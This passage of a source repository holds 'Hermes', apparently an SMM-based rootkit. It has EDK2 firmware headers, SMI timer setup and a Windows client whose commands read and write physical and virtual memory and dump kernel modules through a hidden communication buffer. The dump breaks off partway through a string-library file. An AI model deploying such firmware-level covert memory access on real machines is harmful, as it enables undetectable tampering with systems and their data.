├── Hermes-SMM ├── .gitignore ├── Dockerfile ├── Hermes-src │ ├── Hermes │ │ ├── TimerPCH.h │ │ ├── MemoryMapUEFI.h │ │ ├── TimerRTC.h │ │ ├── string.h │ │ ├── Memory.h │ │ ├── Hermes.inf │ │ ├── TimerRTC.c │ │ ├── TimerPCH.c │ │ ├── serial.h │ │ ├── MemManager.h │ │ ├── string.c │ │ ├── Hermes.h │ │ ├── MemManager.c │ │ ├── serial.c │ │ ├── NTKernelTools.h │ │ ├── Memory.c │ │ ├── Main.c │ │ ├── MemoryMapUEFI.c │ │ └── windows.h │ ├── Conf │ │ └── target.txt │ ├── UefiCpuPkg │ │ ├── UefiCpuPkg.dec │ │ └── PiSmmCpuDxeSmm │ │ │ └── X64 │ │ │ └── PageTbl.c │ └── OvmfPkg │ │ └── OvmfPkgX64.fdf └── Hermes-SMM.code-workspace ├── .gitmodules ├── Hermes-Client ├── Hermes │ ├── Physical.h │ ├── Hermes.vcxproj.user │ ├── Prints.h │ ├── GlobalVars.h │ ├── Virtual.h │ ├── Windows.h │ ├── Memory.h │ ├── GlobalVars.cpp │ ├── Hermes.vcxproj.filters │ ├── Hermes.cpp │ ├── Memory.cpp │ ├── Hermes.h │ ├── Physical.cpp │ ├── Prints.cpp │ ├── Hermes.vcxproj │ ├── Virtual.cpp │ └── Windows.cpp ├── .gitignore └── Hermes-client.sln ├── .gitignore └── README.md /Hermes-SMM/.gitignore: -------------------------------------------------------------------------------- 1 | .bash_history 2 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Hermes-SMM/edk2"] 2 | path = Hermes-SMM/edk2 3 | url = git@github.com:tianocore/edk2.git 4 | -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Physical.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "GlobalVars.h" 4 | 5 | #include 6 | 7 | void readPhysical(uint64_t packetBegin); 8 | 9 | void writePhysical(uint64_t packetBegin); -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Hermes.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Prints.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "Hermes.h" 4 | 5 | void printCommands(uint64_t dummy); 6 | 7 | void printBuffer(unsigned char *buf, int size); 8 | 9 | void printError(uint64_t errorcode); -------------------------------------------------------------------------------- /Hermes-SMM/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | MAINTAINER Jussi Hietanen 3 | 4 | RUN \ 5 | apt-get update && \ 6 | apt-get -y install ccache build-essential python python-pip qemu sudo git \ 7 | nano libgcc-5-dev uuid-dev nasm iasl wget zip xorg-dev p7zip-full -------------------------------------------------------------------------------- /Hermes-Client/Hermes/GlobalVars.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | /* 6 | * Global variables which are used in the other cpp files 7 | * 8 | */ 9 | extern unsigned char identifier[160]; 10 | extern uint16_t start_identifier; 11 | extern uint16_t end_identifier; 12 | extern bool debug; -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Virtual.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "GlobalVars.h" 4 | 5 | #include 6 | 7 | void getDirbase(uint64_t packetBegin); 8 | 9 | void virtualToPhysical(uint64_t packetBegin); 10 | 11 | void readVirtual(uint64_t packetBegin); 12 | 13 | void writeVirtual(uint64_t packetBegin); -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Windows.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "GlobalVars.h" 4 | 5 | #include 6 | 7 | void getModules(uint64_t packetBegin); 8 | 9 | void getModulesVerbose(uint64_t packetBegin); 10 | 11 | void getModuledata(uint64_t packetBegin); 12 | 13 | void dumpModule(uint64_t packetBegin); -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/TimerPCH.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_timer_pch_h__ 2 | #define __hermes_timer_pch_h__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define PERIODIC_EN BIT14 10 | #define GBL_SMI_EN BIT0 11 | 12 | #define SMI_EN 0x30 13 | #define SMI_STS 0x34 14 | 15 | VOID PchInitTimer(); 16 | 17 | VOID ClearBits(); 18 | 19 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/MemoryMapUEFI.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_mm_uefi_h__ 2 | #define __hermes_mm_uefi_h__ 3 | 4 | #include 5 | #include 6 | 7 | 8 | 9 | BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap); 10 | 11 | 12 | BOOLEAN InitUefiMemoryMap(); 13 | 14 | 15 | BOOLEAN IsAddressValid(UINT64 address); 16 | 17 | 18 | EFI_MEMORY_DESCRIPTOR* GetUefiMemoryMap(); 19 | 20 | 21 | VOID ShowMemoryMap(); 22 | 23 | 24 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/TimerRTC.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_timer_rtc_h__ 2 | #define __hermes_timer_rtc_h__ 3 | 4 | #include 5 | #include 6 | 7 | #define CMOS_PORT_ADDRESS 0x70 8 | #define CMOS_PORT_DATA 0x71 9 | 10 | UINT8 cmos_read(UINT8 index); 11 | 12 | VOID cmos_write(UINT8 index, UINT8 val); 13 | 14 | VOID read_statusc(); 15 | 16 | VOID cmos_enable(); 17 | 18 | UINT8 get_RTC_register(INT32 reg); 19 | 20 | UINT16 CmosGetCurrentTime(); 21 | 22 | #endif -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Memory.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "GlobalVars.h" 4 | #include "Hermes.h" 5 | 6 | void clearPacket(uint64_t packetPtr); 7 | 8 | void setPacketFinished(uint64_t packetPtr); 9 | 10 | void setPacketStarting(uint64_t packetPtr); 11 | 12 | void setPacketCommand(uint64_t packetPtr, hermes_command_t command); 13 | 14 | void setPacketDataPtr(uint64_t packetPtr, uint64_t dataPtr); 15 | 16 | void setPacketResultPtr(uint64_t packetPtr, uint64_t resultPtr); 17 | 18 | bool checkPacketStatus(uint64_t packetPtr); -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-SMM.code-workspace: -------------------------------------------------------------------------------- 1 | { 2 | "folders": [ 3 | { 4 | "path": "." 5 | } 6 | ], 7 | "settings": { 8 | "files.associations": { 9 | "smmcpu.h": "c", 10 | "pciio.h": "c", 11 | "uefi.h": "c", 12 | "uefibasetype.h": "c", 13 | "base.h": "c", 14 | "hermes.h": "c", 15 | "windows.h": "c", 16 | "ntkerneltools.h": "c", 17 | "basememorylib.h": "c", 18 | "memory.h": "c", 19 | "serial.h": "c" 20 | }, 21 | "C_Cpp.default.includePath": [ 22 | "${workspaceFolder}/edk2/MdePkg/Include", 23 | "${workspaceFolder}/edk2/MdePkg/Include/X64" 24 | ] 25 | } 26 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/string.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_string_h__ 2 | #define __hermes_string_h__ 3 | 4 | #include 5 | #include "MemManager.h" // strdup 6 | 7 | #ifdef __GNUC__ 8 | typedef UINT32 size_t; 9 | #endif 10 | 11 | size_t strlen(const CHAR8 *str); 12 | 13 | CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source); 14 | 15 | INT32 memcmp(const VOID *str1, const VOID *str2, size_t count); 16 | 17 | INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2); 18 | 19 | INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n); 20 | 21 | INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2); 22 | 23 | const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y); 24 | 25 | CHAR8 *strdup(CHAR8 *src); 26 | 27 | #endif -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | Hermes-Client/Hermes/Release/ 54 | Hermes-SMM/Hermes-src/Hermes/.vs/ -------------------------------------------------------------------------------- /Hermes-Client/.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | 54 | # Windows Compile Results 55 | Debug/ 56 | x64/ 57 | .vs/ 58 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/Memory.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_memory_h__ 2 | #define __hermes_memory_h__ 3 | 4 | #include 5 | #include 6 | 7 | #include "MemoryMapUEFI.h" // IsAddressValid 8 | #include "serial.h" 9 | 10 | /* 11 | * We use windows size of PAGE_OFFSET_SIZE 12 | * and PMASK2 13 | */ 14 | #include "windows.h" 15 | 16 | typedef struct _Cache 17 | { 18 | UINT64 vAddress; 19 | UINT64 pAddress; 20 | } Cache, PCache; 21 | 22 | #ifdef __GNUC__ 23 | typedef UINT32 size_t; 24 | #endif 25 | 26 | BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose); 27 | 28 | UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose); 29 | 30 | BOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose); 31 | 32 | BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); 33 | 34 | BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); 35 | 36 | BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose); 37 | 38 | BOOLEAN v_to_v_memCpy(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBaseDest, UINT64 directoryBaseSource, BOOLEAN verbose); 39 | 40 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/Hermes.inf: -------------------------------------------------------------------------------- 1 | [defines] 2 | INF_VERSION = 0x00010005 3 | BASE_NAME = Hermes 4 | FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 5 | MODULE_TYPE = DXE_SMM_DRIVER 6 | PI_SPECIFICATION_VERSION = 0x0001000A 7 | ENTRY_POINT = UefiMain 8 | 9 | [Sources] 10 | Main.c 11 | Hermes.c 12 | serial.c 13 | MemManager.c 14 | MemoryMapUEFI.c 15 | Memory.c 16 | NTKernelTools.c 17 | TimerRTC.c 18 | TimerPCH.c 19 | string.c 20 | 21 | 22 | [Packages] 23 | MdePkg/MdePkg.dec 24 | MdeModulePkg/MdeModulePkg.dec 25 | IntelFrameworkPkg/IntelFrameworkPkg.dec 26 | IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec 27 | StdLib/StdLib.dec 28 | 29 | [LibraryClasses] 30 | UefiDriverEntryPoint 31 | UefiBootServicesTableLib 32 | UefiRuntimeServicesTableLib 33 | PcdLib 34 | BaseMemoryLib 35 | DevicePathLib 36 | SmmMemLib 37 | PciLib 38 | 39 | [Protocols] 40 | gEfiSimpleTextOutProtocolGuid 41 | gEfiLoadedImageProtocolGuid 42 | gEfiSmmCpuProtocolGuid 43 | gEfiSmmBase2ProtocolGuid 44 | gEfiSmmAccess2ProtocolGuid 45 | gEfiSmmSwDispatch2ProtocolGuid 46 | gEfiSmmPeriodicTimerDispatch2ProtocolGuid 47 | gEfiSmmEndOfDxeProtocolGuid 48 | gEfiDevicePathProtocolGuid 49 | gEfiSerialIoProtocolGuid 50 | gEfiCpuArchProtocolGuid 51 | 52 | [Depex] 53 | TRUE -------------------------------------------------------------------------------- /Hermes-Client/Hermes/GlobalVars.cpp: -------------------------------------------------------------------------------- 1 | #include "GlobalVars.h" 2 | 3 | /* 4 | * Defines if debug output should be printed out 5 | * 6 | */ 7 | bool debug = false; 8 | 9 | /* 10 | * Memory identifier used by smm to find the communication buffer 11 | * 12 | */ 13 | unsigned char identifier[160] = { 14 | 0x0f, 0x2b, 0x34, 0x7f, 0x58, 0x40, 0x22, 0x61, 0x9c, 0xcc, 0x0f, 0xfa, 0x44, 0x0f, 0x59, 0x61, 15 | 0x40, 0x8b, 0x37, 0x6e, 0x8f, 0xe9, 0x1d, 0x2d, 0x81, 0x12, 0x65, 0x48, 0x6b, 0x8b, 0xcb, 0x0c, 16 | 0xa8, 0x25, 0x6a, 0xac, 0x9e, 0x66, 0xe3, 0x5d, 0x14, 0x24, 0x19, 0x45, 0x75, 0xab, 0xe8, 0xa1, 17 | 0x5a, 0x89, 0x99, 0xbe, 0xf9, 0xcc, 0x71, 0x81, 0x98, 0xe1, 0xce, 0x07, 0x9b, 0xc8, 0x59, 0x49, 18 | 0xa7, 0x5b, 0xfe, 0xa4, 0x05, 0x6a, 0xa6, 0x70, 0xd3, 0xe9, 0x0e, 0x85, 0xb3, 0xb1, 0x43, 0xde, 19 | 0xdc, 0xef, 0x3b, 0xfe, 0x0d, 0x20, 0xf1, 0xc6, 0x65, 0x92, 0x20, 0x97, 0xad, 0xa7, 0xcc, 0x32, 20 | 0x46, 0x05, 0x5c, 0xc9, 0xf2, 0xa1, 0xb8, 0x79, 0x92, 0x34, 0x03, 0xa4, 0x17, 0x20, 0x12, 0x0b, 21 | 0x35, 0x85, 0x81, 0x98, 0xe8, 0x76, 0xf5, 0x61, 0x0b, 0x7c, 0xe7, 0xfc, 0xcf, 0x97, 0x88, 0x81, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // this 24 | 25 | /* 26 | * Identifiers used in the packets to communicate with smm. 27 | * 28 | */ 29 | uint16_t start_identifier = 0xf345; 30 | uint16_t end_identifier = 0xa13f; -------------------------------------------------------------------------------- /Hermes-Client/Hermes-client.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.1525 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Hermes", "Hermes\Hermes.vcxproj", "{3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Debug|x64.ActiveCfg = Debug|x64 17 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Debug|x64.Build.0 = Debug|x64 18 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Debug|x86.ActiveCfg = Debug|Win32 19 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Debug|x86.Build.0 = Debug|Win32 20 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Release|x64.ActiveCfg = Release|x64 21 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Release|x64.Build.0 = Release|x64 22 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Release|x86.ActiveCfg = Release|Win32 23 | {3DC64EFB-2E9F-459F-9AA6-12A0242E88A5}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {2C157E1C-567C-423D-BCE6-7AC6C1D347E3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/TimerRTC.c: -------------------------------------------------------------------------------- 1 | #include "TimerRTC.h" 2 | 3 | 4 | UINT8 cmos_read(UINT8 index) 5 | { 6 | IoWrite8(CMOS_PORT_ADDRESS, index); 7 | return IoRead8(CMOS_PORT_DATA); 8 | } 9 | 10 | VOID cmos_write(UINT8 index, UINT8 val) 11 | { 12 | IoWrite8(CMOS_PORT_ADDRESS, index); 13 | IoWrite8(CMOS_PORT_DATA, val); 14 | } 15 | 16 | VOID read_statusc() 17 | { 18 | // Has to be done after every interrupt else timer stops 19 | IoWrite8(CMOS_PORT_ADDRESS, 0xC); 20 | IoRead8(CMOS_PORT_DATA); 21 | } 22 | 23 | VOID cmos_enable() 24 | { 25 | // Read current Status A 26 | UINT8 regA = cmos_read(0xA); 27 | 28 | // Set timer to 500ms 29 | regA = (regA & 0xF0) | 0x5; 30 | 31 | // Write Status A 32 | cmos_write(0xA, regA); 33 | 34 | // Read current Status B 35 | UINT8 regB = cmos_read(0xB); 36 | 37 | // Enable periodic timer 38 | regB = regB | 0x40; 39 | 40 | // Write Status B 41 | cmos_write(0xB, regB); 42 | } 43 | 44 | UINT8 get_RTC_register(INT32 reg) 45 | { 46 | IoWrite8(CMOS_PORT_ADDRESS, reg); 47 | return IoRead8(CMOS_PORT_DATA); 48 | } 49 | 50 | UINT16 CmosGetCurrentTime() 51 | { 52 | // Read Seconds and minutes 53 | UINT8 second = get_RTC_register(0x00); 54 | UINT8 minute = get_RTC_register(0x02); 55 | 56 | UINT8 registerB = cmos_read(0xB); 57 | if (!(registerB & 0x04)) 58 | { 59 | second = (second & 0x0F) + ((second / 16) * 10); 60 | minute = (minute & 0x0F) + ((minute / 16) * 10); 61 | } 62 | 63 | return (UINT16)minute * 60 + second; 64 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/TimerPCH.c: -------------------------------------------------------------------------------- 1 | #include "TimerPCH.h" 2 | #include "serial.h" 3 | 4 | VOID PchInitTimer() 5 | { 6 | // According to Intel Chipset Datasheet Vol 2 you read the BAR2 through PCI functions. 7 | // This is incorrect, the Intel FSP Integration Guide starting from series 300 chipsets state, that you must use 0x1800 and the pci itself will be hidden after PEI stage. 8 | UINT32 BAR2 = 0x1800; 9 | 10 | UINT32 mSmiEnable = BAR2 + SMI_EN; 11 | UINT32 SmiEnableVal = 0; 12 | SmiEnableVal = IoRead32(mSmiEnable); 13 | 14 | SerialPrintStringDebug("SMI_EN: "); 15 | SerialPrintNumberDebug(SmiEnableVal, 16); 16 | SerialPrintStringDebug("\r\n"); 17 | 18 | if ((SmiEnableVal & PERIODIC_EN) == 0) 19 | { 20 | SmiEnableVal |= PERIODIC_EN; 21 | IoWrite32(BAR2 + SMI_EN, SmiEnableVal); 22 | } 23 | 24 | if ((SmiEnableVal & GBL_SMI_EN) == 0) 25 | { 26 | SmiEnableVal |= GBL_SMI_EN; 27 | IoWrite32(BAR2 + SMI_EN, SmiEnableVal); 28 | } 29 | 30 | return; 31 | } 32 | 33 | VOID ClearBits() 34 | { 35 | // According to Intel Chipset Datasheet Vol 2 you read the BAR2 through PCI functions. 36 | // This is incorrect, the Intel FSP Integration Guide starting from series 300 chipsets state, that you must use 0x1800 and the pci itself will be hidden after PEI stage. 37 | UINT32 BAR2 = 0x1800; 38 | 39 | UINT32 mSmiSts = BAR2 + SMI_STS; 40 | UINT32 SmiStatusVal = 0; 41 | SmiStatusVal = IoRead32(mSmiSts); 42 | 43 | if ((SmiStatusVal & PERIODIC_EN) != 0) 44 | { 45 | // Timer SMI Status by writing 1 to it 46 | SmiStatusVal |= PERIODIC_EN; 47 | IoWrite32(BAR2 + SMI_STS, SmiStatusVal); 48 | } 49 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/serial.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_serial_h__ 2 | #define __hermes_serial_h__ 3 | 4 | /* 5 | * COMMENT OUT THIS DEFINE IF YOU WANT TO DISABLE 6 | * SERIAL (DEBUG) OUTPUT/INPUT 7 | */ 8 | #define HERMES_SERIAL_ENABLED 9 | 10 | /* 11 | * Serial port configuration. 12 | * For EFI_DEBUG_SERIAL_BUILTIN and EFI_DEBUG_SERIAL_PROTOCOL. 13 | * Port 0 is the default port on the motherboard 14 | */ 15 | #define SERIAL_BAUDRATE_MAX 115200 16 | #define SERIAL_BAUDRATE 115200 17 | #define SERIAL_PORT_0 0x3F8 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | 24 | /* 25 | *Initialize the serial device hardware. 26 | */ 27 | VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate); 28 | 29 | /* 30 | * Write data to serial device. 31 | */ 32 | VOID SerialPortWrite(UINT16 Port, UINT8 Data); 33 | 34 | /* 35 | * Reads data from a serial device. 36 | */ 37 | UINT8 SerialPortRead(UINT16 Port); 38 | 39 | /* 40 | * Writes a nul-terminated string to the serial 41 | */ 42 | VOID SerialPrintString(const char* text); 43 | 44 | /* 45 | * Debug-version of SerialPrintString. Only prints 46 | * if ROOTKIT_VERBOSE is defined 47 | */ 48 | VOID SerialPrintStringDebug(const char* text); 49 | 50 | /* 51 | * Send 0xA 8 times to test serial output 52 | */ 53 | VOID SerialTest(); 54 | 55 | /* 56 | * Send raw data over serial 57 | */ 58 | VOID SerialSendData(const VOID* buf, UINT8 len); 59 | 60 | /* 61 | * Print a number into serial. 62 | * 63 | * @param _v --> the value to print 64 | * @param _b --> the base to convert to 65 | */ 66 | VOID SerialPrintNumber(INT64 _v, INT64 _b); 67 | 68 | /* 69 | * Debug-version of SerialPrintNumber. Only prints 70 | * if ROOTKIT_VERBOSE is defined 71 | */ 72 | VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b); 73 | 74 | 75 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/MemManager.h: -------------------------------------------------------------------------------- 1 | #ifndef __hermes_memory_manager_h__ 2 | #define __hermes_memory_manager_h__ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "serial.h" 9 | 10 | /* 11 | * A very simple malloc implementation 12 | * 13 | * The dynamically allocatable memory is first initialized with 14 | * gSmst2->SmmAllocatePages, then given as requested, until the 15 | * memory in firstly allocated efi runtime mem runs out 16 | * 17 | * The implementation uses a simple linked list, with first entry 18 | * starting from byte 0 of the allocated efi memory page area. 19 | * 20 | * If area[0].next = nullptr, there are no allocs currently. 21 | * If area[0] = &area[0], there is at least one allocation 22 | * PMemAllocEntry_t->next points to the next entry, if it is null, 23 | * there are no more entries in the list. 24 | */ 25 | 26 | typedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t; 27 | 28 | #ifdef __GNUC__ 29 | struct memallocentry 30 | { 31 | PMemAllocEntry_t prev; 32 | PMemAllocEntry_t next; 33 | UINT64 size; 34 | UINT8 data[]; 35 | } __attribute__((packed)); 36 | #endif 37 | 38 | #ifdef _MSC_VER 39 | #define PACK(__Declaration__) __pragma(pack(push, 1)) __Declaration__ __pragma(pack(pop)) 40 | PACK(struct memallocentry { 41 | PMemAllocEntry_t prev; 42 | PMemAllocEntry_t next; 43 | UINT64 size; 44 | UINT8 data[]; 45 | }); 46 | #endif 47 | 48 | /* 49 | * Initializes the memory manager with pages number of pages. 50 | * @return TRUE if succeeded, FALSE otherwise 51 | */ 52 | BOOLEAN InitMemManager(UINT32 pages); 53 | 54 | /* 55 | * Allocates number of pages, returns the physical address to allocated memory 56 | */ 57 | VOID *palloc(UINT32 pages); 58 | 59 | /* 60 | * Frees number of pages from the physical address allocated by palloc 61 | */ 62 | VOID pfree(VOID *address, UINT32 pages); 63 | 64 | /* 65 | * Tries to dynamically allocate memory 66 | * 67 | * @return pointer to allocated memory if succeeded, NULL otherwise 68 | */ 69 | VOID *malloc(UINT32 size); 70 | 71 | /* 72 | * Tries to free a memory address from before dynamically 73 | * allocated memory 74 | */ 75 | VOID free(VOID *address); 76 | 77 | /* 78 | * Returns the total amount of bytes allocated from the pool 79 | * 80 | */ 81 | UINT64 GetMemAllocated(); 82 | 83 | #endif -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Hermes.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Quelldateien 20 | 21 | 22 | Quelldateien 23 | 24 | 25 | Quelldateien 26 | 27 | 28 | Quelldateien 29 | 30 | 31 | Quelldateien 32 | 33 | 34 | Quelldateien 35 | 36 | 37 | Quelldateien 38 | 39 | 40 | 41 | 42 | Headerdateien 43 | 44 | 45 | Headerdateien 46 | 47 | 48 | Headerdateien 49 | 50 | 51 | Headerdateien 52 | 53 | 54 | Headerdateien 55 | 56 | 57 | Headerdateien 58 | 59 | 60 | Headerdateien 61 | 62 | 63 | -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Hermes.cpp: -------------------------------------------------------------------------------- 1 | #include "Physical.h" 2 | #include "Virtual.h" 3 | #include "Windows.h" 4 | #include "Hermes.h" 5 | #include "Memory.h" 6 | #include "Prints.h" 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | using hermes_func = void(*)(uint64_t); 13 | 14 | /* 15 | * Pseudo function to properly close the hermes process. 16 | * Asks for the following parameter: 17 | * - dummy, can be left empty. Is just needed because all the other function in the 18 | * function map have a parameter. 19 | * 20 | */ 21 | void close(uint64_t dummy) 22 | { 23 | exit(0); 24 | return; 25 | } 26 | 27 | /* 28 | * Function map of the different hermes commands. 29 | * 30 | */ 31 | std::map hermes_funcs = 32 | { 33 | { "gd", getDirbase }, 34 | { "gmd", getModuledata }, 35 | { "vr", readVirtual }, 36 | { "vw", writeVirtual }, 37 | { "pr", readPhysical }, 38 | { "pw", writePhysical }, 39 | { "vto", virtualToPhysical }, 40 | { "dm", dumpModule }, 41 | { "gm", getModules }, 42 | { "gmv", getModulesVerbose }, 43 | { "help", printCommands }, 44 | { "exit", close } 45 | }; 46 | 47 | /* 48 | * Main function of hermes. 49 | * 50 | * Initializes a loop which will continually ask for commands to communicate with the smm. 51 | * 52 | */ 53 | int main() 54 | { 55 | // Starting 56 | std::cout << "Initializing Hermes " << std::endl; 57 | printCommands(0); 58 | 59 | // Initialize communication buffer 60 | std::cout << "Combuffer at: " << std::hex << (uint64_t)identifier << std::endl; 61 | std::cout << "Data begins at: " << std::hex << (uint64_t)identifier + 128 << std::endl; 62 | 63 | uint64_t packetBegin = (uint64_t)identifier + 128; 64 | 65 | // Wait for Input and Parse Commands 66 | while (true) 67 | { 68 | clearPacket(packetBegin); 69 | 70 | std::cout << "# "; 71 | 72 | // Ask for the command 73 | std::string input; 74 | std::cin >> input; 75 | 76 | // Check if there is a pending packet 77 | if (checkPacketStatus(packetBegin) == true) 78 | { 79 | std::cout << "Pending packet! Stopping... " << std::endl; 80 | std::this_thread::sleep_for(std::chrono::milliseconds(1000)); 81 | continue; 82 | } 83 | 84 | try 85 | { 86 | // Try to call the requested function by searching for the name in the map 87 | hermes_funcs.at(input)(packetBegin); 88 | } 89 | catch (...) 90 | { 91 | // Invalid command passed, write help 92 | printCommands(0); 93 | } 94 | 95 | } 96 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/string.c: -------------------------------------------------------------------------------- 1 | #include "string.h" 2 | 3 | size_t 